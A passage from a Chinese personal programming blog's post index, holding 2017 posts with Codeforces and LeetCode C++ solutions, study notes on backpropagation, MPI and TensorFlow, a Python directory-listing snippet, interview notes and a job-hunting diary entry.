= x; 40 val.push_back(tmp); 41 x/=10; 42 } 43 int siz = val.size(); 44 if (siz==1) return true; 45 for ( int i = 0 ; i \u003c siz/2 ; i++) 46 { 47 if (val[i]!=val[siz-1-i]) return false; 48 } 49 return true; 50} 51int main() 52{ 53 #ifndef ONLINE_JUDGE 54 //freopen(\"./in.txt\",\"r\",stdin); 55 #endif 56 int x; 57 cin\u003e\u003ex; 58 while(x==0) 59 { 60 x/=10; 61 } 62 if (check(x)) puts(\"YES\"); 63 else puts(\"NO\"); 64 65 66 #ifndef ONLINE_JUDGE 67 fclose(stdin); 68 #endif 69 return 0; 70} B: 2*n个人，每个人的重量为w[i],要分成n-1组，每组2个人，以及2个单独的人。单独的人的不稳定性为0,每组的不稳定是该组的2个人的重量的差的绝对值。总的不稳定为所有组的不稳定性之和。问可能的最小不稳定性是多少。 思路：由于n才50,100个人，暴力枚举单独的人，复杂度O(n_n_nlg(n)),很稳。 注意n给的是组数，所以数组最大值应该为100而不是50. 1/* *********************************************** 2Author :111qqz 3Created Time :2017年09月24日 星期日 13时57分04秒 4File Name :B.cpp 5************************************************ ","date":"2017-09-24","externalUrl":null,"permalink":"/2017/09/codeforces-eductional-round-29/","section":"Posts","summary":"比赛链接 10个月没写题了，菜啊。进行一点恢复性训练好了。 A: 给一个数，可以在填写若干（或者0）个前缀0，问能否变成回文数。","tags":["算法竞赛"],"title":"Codeforces eductional round  29","type":"post"},{"categories":["deep-learning"],"content":"先说下自己目前很笼统的理解： 反向传播是用来快速计算梯度的一种方法； 过程大概是把计算过程用计算图表示，这样每一个中间步骤都有一个节点，每一个local gradient都会比较容易计算； 思想涉及 chain rule + 计算图 + 记忆化 因为计算不同自变量的偏导数会存在很多共同路径，这部分就只计算了一次，因此可以加快计算速度。 所以核心的东西大概是两点： 1 * 用计算图表示计算，局部gradient 替代繁琐的微积分计算 2 * 共同部分只计算一次，类似一个记忆化。","date":"2017-09-05","externalUrl":null,"permalink":"/2017/09/back-propagation-notes/","section":"Posts","summary":"先说下自己目前很笼统的理解： 反向传播是用来快速计算梯度的一种方法；","tags":["反向传播"],"title":"反向传播学习笔记","type":"post"},{"categories":["其他"],"content":"参考资料： 消息传递接口（MPI）维基百科 MPI_TUTORIAL MPI 在大规模机器学习领域的前景如何？ 因为要和平台组对接工作以及写我们自己的BN同步…所以来了解一下MPI相关…感谢平台组@gyz 菊苣提供指导。 下面写一些自己的理解 ^_^ OVERVIEW # MPI是一个跨语言的通讯协议，用于并行相关 MPI不是一种具体的语言实现，而是一种标准或者说接口，类比sql在关系型数据库中的地位，具体用的时候我们是用某个特定的实现，例如openmpi或者mpich2 对于机器学习问题，MPI很适合用在超算上… 下面随便补一些我认为需要了解的： ** **_communicator _是一个进程的group,该group里的所有进程可以相互通信。 在这组进程中，每个进程有一个唯一的rank,通信按照rank进行（做身份标识的作用？ MPI支持的通信方式有point-to-point 和 collective 两种，也就是点对点和广播 下面分别介绍这两种方式。 Blocking point-to-point communication # Blocking communication 就是阻塞通信 阻塞通信是指消息发送方的send调用需要接受方的recv调用的配合才可完成 对于非阻塞通信，不必等到通信操作完全完成便可以返回，该通信操作可以交给特定的通信硬件去完成，在该通信硬件完成该通信操作的同时，处理机可以同时进行计算操作，这样便实现了计算与通信的重叠。通过计算与通信的重叠，可以大大提高程序执行的效率。这一方法和通过异步I/O实现I/O与计算的重叠思路是完全一样的。 MPI Send and Receive #","date":"2017-08-31","externalUrl":null,"permalink":"/2017/08/mpi-notes/","section":"Posts","summary":"参考资料： 消息传递接口（MPI）维基百科 MPI_TUTORIAL MPI 在大规模机器学习领域的前景如何？ 因为要和平台组对接工作以及写我们自己的BN同步…所以来了解一下MPI相关…感谢平台组@gyz 菊苣提供指导。","tags":["High performance computing","MPI","Supercomputing","并行计算"],"title":"MPI  学习笔记","type":"post"},{"categories":["deep-learning"],"content":"参考资料： tf_doc_Reading data TENSORFLOW INPUT PIPELINE EXAMPLE tensorflow：理解tensorflow中的输入管道 第二个参考资料是第一个的翻译版本，翻译的水平一般，建议看原文，不是很长。 下面是我挑了文章中重点的部分+自己的理解。 TL;DR; # 一个适用于不是很大的数据集的pipline input 的例子。 Load Data in Tensorflow # input pipline 可以理解称一种load data的方式。 一般有两种方式load data,一种是比较传统的，使用feed 的方式。如果数据集比较大，这种方式就不适用了，因为这种方式需要将数据全部导入到memory中。因此tf提供了pipline input的读入数据的方式。 input pipline 会处理 csv file,解码文件格式，重构数据结构，打乱数据顺序，做数据扩充或者其他预处理，然后使用线程(threads)将数据导进batch. Load the Label Data # 确保使用正确的dataset,csv文件路径。 然后处理 得到train和test 的label 由于我们只是读数据而没有真的打算训练，所以没有使用one-hot的编码方式，而是直接将（本来也是由数字字符组成的）字符串，转化成int. 1def encode_label(label): 2 return int(label) 3 4def read_label_file(file): 5 f = open(file, \"r\") 6 filepaths = [] 7 labels = [] 8 for line in f: 9 filepath, label = line.split(\",\") 10 filepaths.append(filepath) 11 labels.append(encode_label(label)) 12 return filepaths, labels 13 14# reading labels and file path 15train_filepaths, train_labels = read_label_file(dataset_path + train_labels_file) 16test_filepaths, test_labels = read_label_file(dataset_path + test_labels_file) Do Some Optional Processing on Our String Lists # 1# transform relative path into full path 2train_filepaths = [ dataset_path + fp for fp in train_filepaths] 3test_filepaths = [ dataset_path + fp for fp in test_filepaths] 4 5# for this example we will create or own test partition 6all_filepaths = train_filepaths + test_filepaths 7all_labels = train_labels + test_labels 8 9# we limit the number of files to 20 to make the output more clear! 10all_filepaths = all_filepaths[:20] 11all_labels = all_labels[:20] Start Building the Pipeline # 确保tensor的 dtype和list中的数据的type相匹配。 1from tensorflow.python.framework import ops 2from tensorflow.python.framework import dtypes 3# convert string into tensors 4all_images = ops.convert_to_ten","date":"2017-08-24","externalUrl":null,"permalink":"/2017/08/tensorflow-input-pipline-notes/","section":"Posts","summary":"参考资料： tf_doc_Reading data TENSORFLOW INPUT PIPELINE EXAMPLE tensorflow：理解tensorflow中的输入管道 第二个参考资料是第一个的翻译版本，翻译的水平一般，建议看原文，不是很长。","tags":["pipline","tensorflow"],"title":"tensorflow input pipline  学习笔记","type":"post"},{"categories":["deep-learning"],"content":"在这里存个备份，还有些问题没有解决。 raise ValueError(“GraphDef cannot be larger than 2GB.”) 记录一些思路好了。现在是没有生成.meta文件，爆掉应该是因为所有的变量都加载到了默认图里。 也就是说我处理完checkpoint 0 之后开始处理checkpoint1,但是checkpoint0的那些变量还是存在的…所以越来越多？ 目前有两个想法，第一个想法是是受TensorFlow极简教程：创建、保存和恢复机器学习模型 中启发，用多个saver，每个saver指定要搞的图（但是这样好像要每个checkpoint都是不同的saver才有意义？） 第二个想法是，每次save完变量之后，将图恢复成默认状态（可以把图中所有变量清空。。 想法二大失败： 会遇到if self.stack[-1] is not default: │ IndexError: list index out of range 的问题。。 根据 reset_default_graph awkwardly breaks graph nesting 中提到了。。。reset_default_graph本身就不舍被设计成放在graph中清空变量用的。。。然后tf的代码也写得很不友好。。。没有 指明这个错误的原因。。。 For historical context, tf.reset_default_graph() was never designed to be used with with g.as_default(): context managers. I think the proper fix here is to make tf.reset_default_graph() fail with an informative error message when used inside a with g.as_default(): context. I think this could be done by checking that ops._default_graph_stack is empty before resetting. 1import sys, getopt 2import argparse 3import tensorflow as tf 4import os 5import shutil 6import numpy as np 7 8# fix out ,not log_ 9def fix_var_name(id,var_name): 10 prefix = var_name[0:3] 11 if id\u003c10: 12 suffix = var_name[4:] 13 if id\u003e=10 and id\u003c100: 14 suffix = var_name[5:] 15 if id\u003e=100 and id\u003c1000: 16 suffix = var_name[6:] 17 if id\u003e=1000 and id\u003c10000: 18 suffix = var_name[7:] 19 ret = prefix + str(id+1) + suffix 20 print('id=%d var_name=%s prefix=%s suffix=%s ret=%s' %(id,var_name,prefix,suffix,ret)) 21 return ret 22# only concat full_link_layer 23def merge_full_link_layer(checkpoint_list,dry_run=False): 24 with tf.Session() as sess: 25 log_num = len(checkpoint_list) # a int range [0,1000) 26 print(\"log_num:%d\"%log_num) 27 for var_name,_ in tf.contrib.framework.list_variables('log_0'): 28 if not var_name.startswith('out'): 29 var_tmp = tf.c","date":"2017-08-21","externalUrl":null,"permalink":"/2017/08/tensorflow-model-merging/","section":"Posts","summary":"在这里存个备份，还有些问题没有解决。 raise ValueError(“GraphDef cannot be larger than 2GB.”) 记录一些思路好了。现在是没有生成.meta文件，爆掉应该是因为所有的变量都加载到了默认图里。","tags":["tensorflow"],"title":"tensorflow 合并模型","type":"post"},{"categories":["deep-learning"],"content":"参考资料： What is the TensorFlow checkpoint meta file? TensorFlow: Restoring variables from from multiple checkpoints 合并模型的时候发现.meta一直在累加，而其他数据文件没有改变。因此来探究一下checkpoint的几个文件的含义。 This file contains a serialized MetaGraphDef protocol buffer. The MetaGraphDef is designed as a serialization format that includes all of the information required to restore a training or inference process (including the GraphDef that describes the dataflow, and additional annotations that describe the variables, input pipelines, and other relevant information). For example, the MetaGraphDef is used by TensorFlow Serving to start an inference service based on your trained model. We are investigating other tools that could use the MetaGraphDef for training. Assuming that you still have the Python code for your model, you do not need the MetaGraphDefto restore the model, because you can reconstruct all of the information in the MetaGraphDef by re-executing the Python code that builds the model. To restore from a checkpoint, you only need the checkpoint files that contain the trained weights, which are written periodically to the same directory. 提到了.meta文件包含了恢复训练的所有信息。。。主要是为了其他工具可以快速恢复训练？ 如果还是用python的话，恢复checkpoint没有必要使用.meta文件。 1 * **meta file**: describes the saved graph structure, includes GraphDef, SaverDef, and so on; then apply `tf.train.import_meta_graph('/tmp/model.ckpt.meta')`, will restore `Saver` and `Graph`. 2 * **index file**: it is a string-string immutable table(tensorflow::table::Table). Each key is a name of a tensor and its value is a serialized BundleEntryProto. Each BundleEntryProto describes the metadata of a tensor: which of the \"data\" files contains the content of a tensor, the offset into that file, checksum, some auxiliary data, etc. 3 * **data file**: it is TensorBundle collect","date":"2017-08-21","externalUrl":null,"permalink":"/2017/08/tensorflow-checkpoint-notes/","section":"Posts","summary":"参考资料： What is the TensorFlow checkpoint meta file? TensorFlow: Restoring variables from from multiple checkpoints 合并模型的时候发现.meta一直在累加，而其他数据文件没有改变。因此来探究一下checkpoint的几个文件的含义。","tags":["tensorflow"],"title":"tensorflow checkpoint 学习笔记","type":"post"},{"categories":["deep-learning"],"content":"参考资料： programmers_guide/variables tf/Variable 之前感觉对tensorflow 的variable的理解不是很深刻…跑个模型啥的倒不会有什么问题，但是涉及分布式，模型并行之类的，感觉有些地方还是要理解得仔细一点比较好。 OVERVIEW # variable的目的是将状态可持久化。 Unlike tf.Tensor objects, a tf.Variable exists outside the context of a singlesession.run call. 通俗地说就是，variable可以用来存储一个可持久化的tensor 一些op允许读取或者修改tensor的值，这些修改是跨session可见的，也就是说，对于用variable可持久化过的tensor,多个worker（多卡之间）之间可以看到相同的值。 Creating a Variable # 创建变量可以通过调用tf.get_variable function的方法实现。这个函数要求指明变量名称，这个名称会被作为标识该变量的key。 tf.get_variable也允许变量复用，意思是用之前创建过的有相同名字的变量，创建当前的变量。 1my_int_variable = tf.get_variable(\"my_int_variable\", [1, 2, 3], dtype=tf.int32, 2 initializer=tf.zeros_initializer) 3 4#分别是变量名，shape，变量类型，初始化方法。 5#默认类型为tf.float32，默认初始化方法是随机数。 6#tf提供很多其他的初始化方法，以及也可以用一个tensor作为初始化。 7#注意用tensor作为初始化时，shape就不用提供了，因为会用tensor的shape作为variable的shape Variable collections # 由于在不同的部分创建了的变量可能有是够想一起访问，所以我们需要一个简单的能访问一个集合的变量的方法。tensorflow提供了collecetions,可以理解成python list, 是一个存储tensor，variable或者其他实例的容器。 默认情况下，tf.variable被收集到如下两个collcetions: 1 * tf.GraphKeys.GLOBAL_VARIABLES：放置可以被多个设备共享的variable(从名字中的GLOBAL也可以看出来...) 2 * tf.GraphKeys.TRAINABLE_VARIABLES:用来放置用来计算梯度的variable 如果不想训练某个variable,那么将它加入名字叫tf.GraphKeys.LOCAL_VARIABLES 的默认collection… 下面是一个将名字叫my_local的variable加入tf.GraphKeys.LOCAL_VARIABLES的例子 1my_local = tf.get_variable(\"my_local\", shape=(), 2collections=[tf.GraphKeys.LOCAL_VARIABLES]) 一个等价写法是，将trainable属性设置为False 1my_non_trainable = tf.get_variable(\"my_non_trainable\", 2 shape=(), 3 trainable=False) 当然自定义collcetion也是可以的，名字可以是任何字符串。 1#将名字为my_local的variable放置进名字为my_collcetion_name的collection 2#如果当前这个collcetion不存在，则会自动创建 3#也就是说collcetion不用显式定义，在引用的时候如果不存在会自动定义。 4tf.add_to_collection(\"my_collection_name\", my_local) 5 6 7 8 9 10 11 12 13#得到名字为my_collcetion_name 的collcetion中 的所有varibale, 14#返回一个元素为variable的list，顺序按照这些variable被c","date":"2017-08-20","externalUrl":null,"permalink":"/2017/08/tensorflow-variable-notes/","section":"Posts","summary":"参考资料： programmers_guide/variables tf/Variable 之前感觉对tensorflow 的variable的理解不是很深刻…跑个模型啥的倒不会有什么问题，但是涉及分布式，模型并行之类的，感觉有些地方还是要理解得仔细一点比较好。","tags":["checkpoint","tensorflow"],"title":"tensorflow variable 学习笔记","type":"post"},{"categories":["随笔杂谈"],"content":"一转眼…暑假就要结束了… 秋招似乎也可以告一段落了… 投了蛮多的，但是昨天突然发现我用gmail邮箱发邮件有概率发不出去。。所以我也不知道到底哪些简历根本没有发出去orz 先是做了拼多多的笔试，感觉数据有点问题，390/400，没能AK有点不爽。还没面… cvte的笔试….面了cpp和中央研究院的视觉计算…还不知道结果…面试官略菜…. 奶茶厂广告部数据组（？的面试…本来说有两面，一面我也回答得不算差…结果一面之后说我技能不match他们的工作,不用二面了.。。。 看了下貌似是数据挖掘岗….听我讲了半个小时的dl cv…. 大概是我讲的太投入了orz 百度网页搜索部…rank算法工程师…因为有之前的实习记录，所以直接三面美滋滋….和面试官很聊得来…嗯…应该是拿到了… 阿里…投的cv岗位没理我…被阿里云捞了简历…还没面 sensetime给了offer…..还是比较满意的orz。。 其实好早之前基本确定了，但是仍然投了很多其他厂，一个是想体验一下秋招，一个大概是想拿到更高的offer去argue一个更好的package… 但是好像…没什么必要了….已经很满意了orz（其实是基本拿不到什么能去argue的offer了… 还是要知足常乐啊… 之后 的面试大厂还是会尝试一下（？如果工作紧就不尝试了。。。。 从2月初第一家 的hyperal到现在面了这么多家… 唯一印象深刻的就是实习时某价值观厂交叉面面试官，是非常糟糕的一次体验。 我被传达到的信息是“我厂天下第一，你连高star 的cpp项目都没有也敢来申请实习？快滚”… 感觉面试官非常不尊重人，一生黑倒不至于，但是没什么好印象就是了。对于这种大厂，惹不起，还是躲得起的… 不过还是很想拿到他们的offer,这样就可以也拒他们一次了..超记仇.jpg …感觉最近特别流行拒绝该厂offer呢2333…我也想体验一下。","date":"2017-08-20","externalUrl":null,"permalink":"/2017/08/20170819/","section":"Posts","summary":"一转眼…暑假就要结束了… 秋招似乎也可以告一段落了…","tags":["算法竞赛"],"title":"20170819近况","type":"post"},{"categories":["deep-learning"],"content":"tensorflow-session官方文档 说下我自己的理解： session中文一般叫会话，可以理解成op执行时候需要的一层虚拟化的封装。 op必须在session中才能执行。 tensor也是在tensor中才可以存在（tf.variable和tensor几乎是一回事，只是tf.variable的会话不要求session，也可以理解成tf.variable在session中就成了tensor. 需要注意的是session一般会占据资源，所以在使用完记得释放，或者写成with的形式（看到with总想叫成开域语句…感觉暴露年龄orz 下面这两种形式是等价的： 1# Using the `close()` method. 2sess = tf.Session() 3sess.run(...) 4sess.close() 5 6# Using the context manager. 7with tf.Session() as sess: 8 sess.run(...) session本身有一些配置，我们使用configproto： 1# Launch the graph in a session that allows soft device placement and 2# logs the placement decisions. 3sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True, 4 log_device_placement=True)) allow_soft_placement的作用是自动选择可用的设备（如果指定的设备不可用（？）），防止指定的设备不可用而挂掉的情况。 log_device_placement :To find out which devices your operations and tensors are assigned to.","date":"2017-08-20","externalUrl":null,"permalink":"/2017/08/tensorflow-session-notes/","section":"Posts","summary":"tensorflow-session官方文档 说下我自己的理解： session中文一般叫会话，可以理解成op执行时候需要的一层虚拟化的封装。","tags":["tensorflow"],"title":"tensorflow Session 学习笔记","type":"post"},{"categories":["面试"],"content":"请实现最近最少使用缓存(Least Recently Used (LRU) cache)类,需要支持 get, set,操作。 get 操作,给出 key,获取到相应的 value (value 为非负数),如果不存在返回-1, 如果存在此 key 算作被访问过。 set 操作,设置 key,如果 key 存在则覆盖之前的 value (此时相当于访问过一次)。 如果 key 不存在,需要进行插入操作,如果此时已经 key 的数量已经到达 capacity, 这样需要淘汰掉最近最少使用(也就是上次被使用的时间距离现在最久的)的那 一项。 要求get和set的时间复杂度都是O(1) 1/* *********************************************** 2Author :111qqz 3Created Time :2017年08月18日 星期五 00时00分22秒 4File Name :LRU.cpp 5 ************************************************ */ 6 7class LRUCache{ 8 private: 9 //map:\u003ckey,Value\u003e 10 //Value:pair\u003cvalue,time\u003e 11 //time:vector? list? 12 typedef unordered_map\u003cint, pair\u003cint , list\u003cint\u003e::iterator \u003e \u003eCache; 13 Cache cache; 14 list\u003cint\u003ehit_seq; //头部最新元素，尾部最旧元素 15 int siz; 16 17 #define fst first 18 #define sec second 19 #define MP make_pair 20 void hit(Cache::iterator it) //access once 21 { 22 int key = it-\u003efst; 23 hit_seq.erase(it-\u003esec.sec); 24 hit_seq.push_front(key); //更新访问序列 25 it-\u003esec.sec = hit_seq.begin(); //更新该key的最后访问时间 26 27 } 28 public: 29 LRUCache(int capacity) 30 { 31 siz = capacity; 32 } 33 int get(int key) 34 { 35 auto it = cache.find(key); 36 if (it==cache.end()) return -1; 37 hit(it); 38 return it-\u003esec.fst; 39 } 40 void put(int key, int value) 41 { 42 auto it = cache.find(key); 43 if (it != cache.end()) hit(it); 44 else 45 { 46 if (siz == cache.size()) 47 { 48 cache.erase(hit_seq.back()); 49 //淘汰hit序列最后的，也就是最旧的 50 hit_seq.pop_back(); 51 } 52 hit_seq.push_front(key); 53 } 54 cache[key]=MP(value,hit_seq.begin()); 55 56 } 57};","date":"2017-08-18","externalUrl":null,"permalink":"/2017/08/leetcode-146-lru-cache/","section":"Posts","summary":"请实现最近最少使用缓存(Least Recently Used (LRU) cache)类,需要支持 get, set,操作。 get 操作,给出 key,获取到相应的 value (value 为非负数),如果不存在返回-1, 如果存在此 key 算作被访问过。 set 操作,设置 key,如果 key 存在则覆盖之前的 value (此时相当于访问过一次)。 如果 key 不存在,需要进行插入操作,如果此时已经 key 的数量已经到达 capacity, 这样需要淘汰掉最近最少使用(也就是上次被使用的时间距离现在最久的)的那 一项。","tags":["LRU"],"title":"leetcode 146. LRU Cache(list+unordered_map)","type":"post"},{"categories":["其他"],"content":"list = os.listdir(rootdir)#列出目录下的所有文件和目录 1for line in list: 2 filepath = os.path.join(rootdir,line) 3 if os.path.isdir(filepath):#如果filepath是目录 4 print \"dir:\" + filepath 5 else: 6 print \"file:\" + filepath 如果需要遍历文件夹下的所以文件，可以使用os.walk()方法。 1os.walk()返回一个三元素的tuple：当前路径、子文件夹名称、文件列表。 2import os 3for root, dirs, files in os.walk(path): 4 for filename in files: 5 print filename 6 for dirname in dirs: 7 print dirname 举个列处当前目录所有文件夹的例子： 1from os import listdir 2from os.path import isfile, join 3import os 4 5dir =os.listdir() 6for line in dir: 7 if os.path.isdir(line): 8 print (line) 参考资料","date":"2017-08-16","externalUrl":null,"permalink":"/2017/08/python-get-dir-name-in-current-path/","section":"Posts","summary":"list = os.listdir(rootdir)#列出目录下的所有文件和目录","tags":["python"],"title":"python只获取当前目录下的文件夹及文件名","type":"post"},{"categories":["deep-learning"],"content":"是在使用分布式tensorflow遇到的一个错误 报错如下： InvalidArgumentError (see above for traceback): Cannot assign a device for operation ‘save/Rest│| 2 GeForce GTX 1080 On | 0000:08:00.0 Off | N/A | oreV2_888’: Operation was explicitly assigned to /job:worker/task:0/device:CPU:0 but available │| 24% 39C P8 12W / 180W | 0MiB / 8114MiB | 0% Default | devices are [ /job:localhost/replica:0/task:0/cpu:0, /job:localhost/replica:0/task:0/gpu:0 ]. Make sure the device specification refers to a valid device. 其中看到Distributed Tensorflow : Cannot assign a device for operation. 中提到，可能的两个原因是： I have mostly seen the “cannot assign a device for operation …” error in the case of people using GPU without specifying allow_soft_placement=True but in my case I am using just CPUs. I have seen another instance of this error when users were not specifying server.target as the device of a session,thereby creating a local session but this is not the case in my code.","date":"2017-08-14","externalUrl":null,"permalink":"/2017/08/distributed-tensorflow-cannot-assign-a-device-for-operation-save/","section":"Posts","summary":"是在使用分布式tensorflow遇到的一个错误 报错如下： InvalidArgumentError (see above for traceback): Cannot assign a device for operation ‘save/Rest│| 2 GeForce GTX 1080 On | 0000:08:00.0 Off | N/A | oreV2_888’: Operation was explicitly assigned to /job:worker/task:0/device:CPU:0 but available │| 24% 39C P8 12W / 180W | 0MiB / 8114MiB | 0% Default | devices are [ /job:localhost/replica:0/task:0/cpu:0, /job:localhost/replica:0/task:0/gpu:0 ]. Make sure the device specification refers to a valid device.","tags":["tensorflow"],"title":"Distributed Tensorflow : Cannot assign a device for operation save","type":"post"},{"categories":["面试"],"content":"随便记录一下面试中遇到的问题： 梯度下降和牛顿迭代的区别？为什么常用梯度下降？ # 牛顿法是二阶收敛，梯度下降是一阶收敛，所以牛顿法就更快。如果更通俗地说的话，比如你想找一条最短的路径走到一个盆地的最底部，梯度下降法每次只从你当前所处位置选一个坡度最大的方向走一步，牛顿法在选择方向时，不仅会考虑坡度是否够大，还会考虑你走了一步之后，坡度是否会变得更大。所以，可以说牛顿法比梯度下降法看得更远一点，能更快地走到最底部。 根据wiki上的解释，从几何上说，牛顿法就是用一个二次曲面去拟合你当前所处位置的局部曲面，而梯度下降法是用一个平面去拟合当前的局部曲面，通常情况下，二次曲面的拟合会比平面更好，所以牛顿法选择的下降路径会更符合真实的最优下降路径。 常用梯度下降的原因是牛顿迭代的计算时间复杂度太大了… 如果一个优化问题是n 维的，那么单轮梯度下降的复杂度是O(n) ，Quasi-Newton是O(n^2) 收敛速度和计算的时间复杂度是两回事，切记不要混淆。 拟牛顿法：拟牛顿法的本质思想是改善牛顿法每次需要求解复杂的Hessian矩阵的逆矩阵的缺陷，它使用正定矩阵来近似Hessian矩阵的逆，从而简化了运算的复杂度。 [Math] 常见的几种最优化方法 优化函数有哪些方法？非凸函数怎么办？在ml中如何求全局最优值？ # 梯度下降，牛顿法等数值计算方法（要求有二阶导数？ 模拟退火，遗传算法等近似算法。 由于凸函数有一个很好的性质，即局部最优就是全局最优，所以求凸函数的最优解比较容易，梯度下降，贪心（比如爬山法）等局部算法都ok. 对于非凸函数的最优化比较困难，比较常见的有蒙特卡洛方法投点法，大概思想就是，投n次点，每次在该点附近用凸函数的优化方法求最值，最后取所有局部最值的max(min) 模拟退火应该也可以求解非凸函数？ 毕竟喝醉的人可能走错路，陷入局部最优的时候有几率跳出。 什么是过拟合?如何防止过拟合？ # 我的理解，过拟合就是由于参数过多等原因导致训练出来的模型不够一般化，可能对当前训练用的数据集拟合得很好，但是换一个数据集就不能很好的拟合。 防止过拟合主要有几种方法：L1,L2,dropout,Early stopping，数据集扩增。 L1,L2都是正则化方法，通过在代价函数上添加一个关于features的惩罚项，使得每一个features尽可能小，从而降低每个features对cost的贡献程度。 dropout是指在深度学习网络的训练过程中，对于神经网络单元，按照一定的概率将其暂时从网络中丢弃。 dropout有效的原因没有统一结论（？ Early stopping便是一种迭代次数截断的方法来防止过拟合的方法，即在模型对训练数据集迭代收敛之前(**如果可以认为loss不会再减少了)**停止迭代来防止过拟合。 通俗得讲，数据机扩增即需要得到更多的符合要求的数据，即和已有的数据是独立同分布的，或者近似独立同分布的。一般有以下方法： * 从数据源头采集更多数据 * 复制原有数据并加上随机噪声 * 重采样 * 根据当前数据集估计数据分布参数，使用该分布产生更多数据等 L1,L2规范化有什么区别？ # 核心：L2对大数，对异常值更敏感！ L1：计算绝对值之和，用以产生稀疏性，因为它是L0范式的一个最优凸近似，容易优化求解 L2：计算平方和再开根号，L2范数更多是防止过拟合，并且让优化求解变得稳定很快速（这是因为加入了L2范式之后，满足了强凸）。 L1 nrom几乎没有比L2 norm表现好的时候，优先使用L2 norm是比较好的选择。 # 特征值和奇异值的关系？ # …? 有哪些旋转不变性（计算机视觉） # …? 逻辑回归和svm的关系？ # 内核通信（那是啥 # 如何改变一个常量的值（不能去除常量属性 # #define定义的常量是真正的常量(保存在常量区)，而const却是由编译器判断实现的常量，是一个假常量。const常量本质上还是一个变量，只不过C++中提出的const机制在编译层面上对const常量提供了写保护，是为了防止意外修改。 答案：volatile 关键字 volatile 关键字是一种类型修饰符，用它声明的类型变量表示可以被某些编译器未知的因素更改，比如：操作系统、硬件或者其它线程等。遇到这个关键字声明的变量，编译器对访","date":"2017-08-12","externalUrl":null,"permalink":"/2017/08/interview-record/","section":"Posts","summary":"随便记录一下面试中遇到的问题： 梯度下降和牛顿迭代的区别？为什么常用梯度下降？ # 牛顿法是二阶收敛，梯度下降是一阶收敛，所以牛顿法就更快。如果更通俗地说的话，比如你想找一条最短的路径走到一个盆地的最底部，梯度下降法每次只从你当前所处位置选一个坡度最大的方向走一步，牛顿法在选择方向时，不仅会考虑坡度是否够大，还会考虑你走了一步之后，坡度是否会变得更大。所以，可以说牛顿法比梯度下降法看得更远一点，能更快地走到最底部。","tags":["面试"],"title":"面试相关","type":"post"},{"categories":["deep-learning"],"content":"感觉资料不是很多，先收集资料好了。 tf-distributed官网文档 SO-between-graph和in-graph的区别 inception.README.md SyncReplicasOptimizer SO_How does ps work in distribute Tensorflow? update:在多个nodes（机）上跑。。。tf默认是异步更新的。。。同步的话。。大概需要syncreplicasoptimizer? 来直观感受下，不同task的之间并不同步 创建一个cluster # 每一个task唯一对应一个server,server中有一个master，还有若干个worker cluster是task的集合 cluster是在处理分布式问题时抽象出的概念，类似缩点。 cluster也可以划分成一个或者多个job，每个job包含一个或者多个task. 所以task,job,cluster的关系，从集合的角度考虑： task的集合中的元素，job是task的（不相交？）子集，cluster是task的全集。 （似乎要求所有job的交为空，所有job的补为全集，也就是似乎不能越过job直接到taks(?)） 如下图： A TensorFlow “cluster” is a set of “tasks” that participate in the distributed execution of a TensorFlow graph. Each task is associated with a TensorFlow “server”, which contains a “master” that can be used to create sessions, and a “worker” that executes operations in the graph. A cluster can also be divided into one or more “jobs”, where each job contains one or more tasks. 通常不同的task运行在不同的machine上，不过也可以运行在同一个machine的不同device上（比如一个机器的多个gpu) 为了创建一个cluster，要做如下步骤： 创建 一个 tf.train.ClusterSpec 来描述cluster中的全部tasks # cluster通过一个dictionary将job(task) map到网络地址，我们将这个地址传递给 tf.train.ClusterSpec 构造器，看如下例子： 我们观察到，task的id是0-base，按照dictionary中的key的顺序自动递增编号的。 在每一个task中创建一个tf.train.Server的实例 # tf.train.server包含一些local devices,以及他们和tf.train.clusterspec中描述的其他tasks的connections，还有一个tf.session来实现分布式计算（的交互） cluster的每个server可以和该cluster中的任意其他server通信 1# In task 0: 2cluster = tf.train.ClusterSpec({\"local\": [\"localhost:2222\", \"localhost:2223\"]}) 3server = tf.train.Server(cluster, job_name=\"local\", task_index=0) 4# In task 1: 5cluster = tf.train.ClusterSpec({\"local\": [\"localhost:2222\", \"localhost:2223\"]}) 6server = tf.train.Server(cluster, job_name=\"local\", task_index=1) 在你的模型中指定分布式设备 # 还是用tf.device()，直接看代码： 1with tf.device(\"/job:ps/task:0\"): 2 weights_1 = tf.Variable(...) 3 bias","date":"2017-08-07","externalUrl":null,"permalink":"/2017/08/tensorflow-notes/","section":"Posts","summary":"感觉资料不是很多，先收集资料好了。 tf-distributed官网文档 SO-between-graph和in-graph的区别 inception.README.md SyncReplicasOptimizer SO_How does ps work in distribute Tensorflow? update:在多个nodes（机）上跑。。。tf默认是异步更新的。。。同步的话。。大概需要syncreplicasoptimizer?","tags":["tensorflow"],"title":"分布式 tensorflow 学习笔记(非最终版)","type":"post"},{"categories":["deep-learning"],"content":"update:supervisor的缺点是遇到问题只会抛异常，所以现在有一个better的管理工具,MonitoredSession master,chief worker,Supervisor 这几个概念有点搞不清（我最菜.jpg 因此来学习一下。 概述 # 原生的tensorflow 是各种东西都需要自己手动，如果是小规模的训练问题倒是不大，但是如果是训练的数据量比较大，可能需要训练几天或者几个月。。。 那原生的tensorflow的健壮性可能就比较堪忧。。。 万一断电了之类。。。 这时候我们就可以使用supervisor 其主要提供下面三个功能，以增强训练的健壮性： * Handles shutdowns and crashes cleanly. * Can be resumed after a shutdown or a crash. * Can be monitored through TensorBoard. supervisor可以看做一个工具，或者说是对原生tensorflow的一层封装，目的主要是通过定期save的方法增强训练健壮性， 就算程序挂掉了也可以从上一次save的checkpoint恢复，而不是从头再来（虽然这些也可以手动实现（？） 同时也可以简化代码量 除了supervisor,还有tf.learn库，里面提供对原生tensorflow更高层的封装，也提供更丰富的功能。 实例 # 来举个具体的例子好了： 在不使用supervisor的时候，我们的训练代码如下： 1variables 2... 3ops 4... 5summary_op 6... 7merge_all_summarie 8saver 9init_op 10 11with tf.Session() as sess: 12 writer = tf.tf.train.SummaryWriter() 13 sess.run(init) 14 saver.restore() 15 for ...: 16 train 17 merged_summary = sess.run(merge_all_summarie) 18 writer.add_summary(merged_summary,i) 19 saver.save 如果使用supervisor，代码如下： 1import tensorflow as tf 2a = tf.Variable(1) 3b = tf.Variable(2) 4c = tf.add(a,b) 5update = tf.assign(a,c) 6tf.scalar_summary(\"a\",a) 7init_op = tf.initialize_all_variables() 8merged_summary_op = tf.merge_all_summaries() 9sv = tf.train.Supervisor(logdir=\"/home/keith/tmp/\",init_op=init_op) #logdir用来保存checkpoint和summary 10saver=sv.saver #创建saver 11with sv.managed_session() as sess: 